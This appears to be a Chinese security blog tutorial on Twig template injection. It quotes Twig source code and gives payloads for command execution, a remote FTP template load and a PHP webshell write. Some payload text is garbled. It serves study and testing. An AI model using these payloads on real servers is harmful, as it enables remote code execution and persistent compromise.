Twig模版注入 前言 了解python里面的jinjia2模版注入,对这个twig注入的理解就不会太难了,我的理解就是通过模版里面的一些危险函数执行命令发起攻击
0x01 是php的模版语言,类似于python的jinjia2模版。
0x02 如何判断是jinjia2和twig,在注入点测试49,如果回显了49就是twig,回显7777777就是jinjia2
Twig 1.x twig 1.x有3个全局变量
1 2 3 _self 是一个特殊的全局变量,它引用了当前模板的实例 _charset 是一个特殊的全局变量,它引用了当前字符集。你可以使用_charset变量来指定输出模板的字符集 _context 引用当前上下文的特殊全局变量
这里的攻击方式主要是用_self全局变量
在1.x版本中可以通过_self全局变量获取当前模版下的实例,例如利用_self获取当前twig/template实例而且还提供了twing_environment的env属性,然后可以继续调用twig_environment下的方法.
0x01 利用 setCache方法改变Twig加载php文件路径,如果开启了allow_url_include
开启的情况下我们可以通过改变路径实现远程文件包含:
setCache的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function setCache ($cache ) { if (is_string ($cache )) { $this ->originalCache = $cache ; $this ->cache = new Twig_Cache_Filesystem ($cache ); } elseif (false === $cache ) { $this ->originalCache = $cache ; $this ->cache = new Twig_Cache_Null (); } elseif (null === $cache ) { @trigger_error ('Using "null" as the cache strategy is deprecated since version 1.23 and will be removed in Twig 2.0.' , E_USER_DEPRECATED); $this ->originalCache = false ; $this ->cache = new Twig_Cache_Null (); } elseif ($cache instanceof Twig_CacheInterface) { $this ->originalCache = $this ->cache = $cache ; } else { throw new LogicException (sprintf ('Cache can only be a string, false, or a Twig_CacheInterface implementation.' )); } }
大致就是这个方法传递了一个cache参数,它接收字符串,null,false用于保存传递给setCache()方法的原始缓存选项,最终,setCache()
方法会将解析后的缓存选项存储在$cache
属性中,以便其他方法可以使用它。从而改变了Twig的php文件路径。
1 2 {{_self.env.setCache(ftp://ip:port)}} {{_self.env.loadTemplate("shell" )}} 这个将twig的缓存设置为一个远程ftp地址,导致twig在下载本地缓存模版前,尝试下载制定的ftp地址下的模版
0x02 利用getFilter()
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public function getFilter ($name ) { if (!$this ->extensionInitialized) { $this ->initExtensions (); } if (isset ($this ->filters[$name ])) { return $this ->filters[$name ]; } foreach ($this ->filters as $pattern => $filter ) { $pattern = str_replace ('\\*' , '(.*?)' , preg_quote ($pattern , '#' ), $count ); if ($count ) { if (preg_match ('#^' .$pattern .'$#' , $name , $matches )) { array_shift ($matches ); $filter ->setArguments ($matches ); return $filter ; } } } foreach ($this ->filterCallbacks as $callback ) { if (false !== $filter = call_user_func ($callback , $name )) { return $filter ; } } return false ; } public function registerUndefinedFilterCallback ($callable ) { $this ->filterCallbacks[] = $callable ; }
发现里面有一个危险函数call_user_func
1 2 3 foreach ($this ->filterCallbacks as $callback ) { if (false !== $filter = call_user_func ($callback , $name )) { return $filter ;
所以我们只需要控制里面的$callback, $name参数就可以进行命令执行,callback的赋值需要调用
registerUndefinedFilterCallback()方法。
构造exp
1 {{_self.env.registerUndefinedFilterCallback ("exec" )}}{{_self.env.getFilter ("id" )}}
Twig 2.x & 3.x 在2.x以后_self就被停用了,但是又可以用一些过滤器惊醒攻击
0x01 map过滤器
源码
1 2 3 4 5 6 7 8 9 function twig_array_map ($array , $arrow ) { $r = []; foreach ($array as $k => $v ) { $r [$k ] = $arrow ($v , $k ); } return $r ; }
重点部分在
下一步就是找到可以在里面执行命令的函数
1 2 3 4 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] )exec ( string $command [, array &$output [, int &$return_var ]] ) : string file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
这里我们既可以执行命令也可以写马
exp
1 2 {{["ls" ]|map ("system" }} {{{"<?php @eval($_POST ['attack']);?>" :"var/www/html/shell.php" }|map ("file_put_contents" )}}
0x02 filter过滤器
1 2 3 4 {% set lists = [34 , 36 , 38 , 40 , 42 ] %} {{ lists| filter (v => v > 38 )| join (', ' ) }} // Output: 40, 42
Twig将上述的语言编译成
1 2 <?php echo implode (', ' , array_filter ($context ["lists" ], function ($__value__ ) { return ($__value__ > 38 ); })); ?>
里面有个危险函数array_filter,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function twig_array_filter ($array , $arrow ) { if (\is_array ($array )) { return array_filter ($array , $arrow , \ARRAY_FILTER_USE_BOTH); } return new \CallbackFilterIterator (new \IteratorIterator ($array ), $arrow ); }
array_filter函数接受$array, $arrow两个参数并且调用了回调函数,那么我们就可以自定义这两个参数进行攻击
array_filter(array,callbackfunction);
参数
描述
array
必须,规定要过滤的字符组
callbackfunction
必须,规定要使用的回调函数
exp
1 2 {{["id" ]|filer ("system" )}} {{["id" ]|filter ("passthru" )}}
0x03 reduce过滤器
1 2 {% set numbers = [1 , 2 , 3 ] %} {{ numbers| reduce ((carry, v) => carry + v) }}
twig翻译成
1 2 3 <?php echo twig_reduce_filter ($this ->env, $context ["numbers" ], function ($carry , $v ) { return $carry + $v ; });?>
twig_reduce_filter
1 2 3 4 5 6 7 8 function twig_reduce_filter ($array , $arrow , $initial = null ) { if (!\is_array ($array )) { $array = iterator_to_array ($array ); } return array_reduce ($array , $arrow , $initial ); }
$array, $arrow, $initial直接被array_reduce函数调用,而array_reduce函数可以发送数组中的值到用户自定义函数,并返回一个字符串,如果我们自定义一个危险函数,就会造成代码执行
exp
1 2 3 {{[0 , 0 ]|reduce ("system" , "id" )}} {{[0 , 0 ]|reduce ("passthru" , "id" )}} {{[0 , 0 ]|reduce ("exec" , "id" )}}
0x04 sort过滤器
1 2 3 4 5 6 7 8 9 {% set fruits = [ { name: 'Apples' , quantity: 5 }, { name: 'Oranges' , quantity: 2 }, { name: 'Grapes' , quantity: 4 }, ] %} {% for fruit in fruits| sort ((a, b) => a.quantity <=> b.quantity)| column ('name' ) %} {{ fruit }} {% endfor %}
twig编译后
1 2 3 4 5 6 7 8 <?php $context ['_parent' ] = $context ;$context ['_seq' ] = twig_ensure_traversable (twig_sort_filter ($this ->env, $context ["fruits" ], function ($a , $b ) { return ($a ["quantity" ] <=> $b ["quantity" ]); }));foreach ($context ['_seq' ] as $context ["_key" ] => $context ["fruit" ]) { echo twig_escape_filter ($this ->env, twig_get_attribute ($this ->env, $this ->getSourceContext (), $context ["fruit" ], "name" , [], "array" , false , false , true , 13 ), "html" , null , true ); }
twig_get_attribute源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function twig_sort_filter ($array , $arrow = null ) { if ($array instanceof \Traversable ) { $array = iterator_to_array ($array ); } elseif (!\is_array ($array )) { throw new RuntimeError (sprintf ('The sort filter only works with arrays or "Traversable", got "%s".' , \gettype ($array ))); } if (null !== $arrow ) { uasort ($array , $arrow ); } else { asort ($array ); } return $array ; }
代码的危险在
1 2 if (null !== $arrow ) { uasort ($array , $arrow );
uasort函数使用用户自定义的比较函数对元素按键值进行排序$array, $arrow这两个变量了同时可以使用用户自定义的比较函数对数组中的元素按键值进行排序,我们就可以传入包含函数参数的列表,进行命令执行了。
exp
1 {{["id" , 0 ]|sort ("system" )}}
end…… 不知道什么原因自己在本地搭的无法读取恶意命令。。。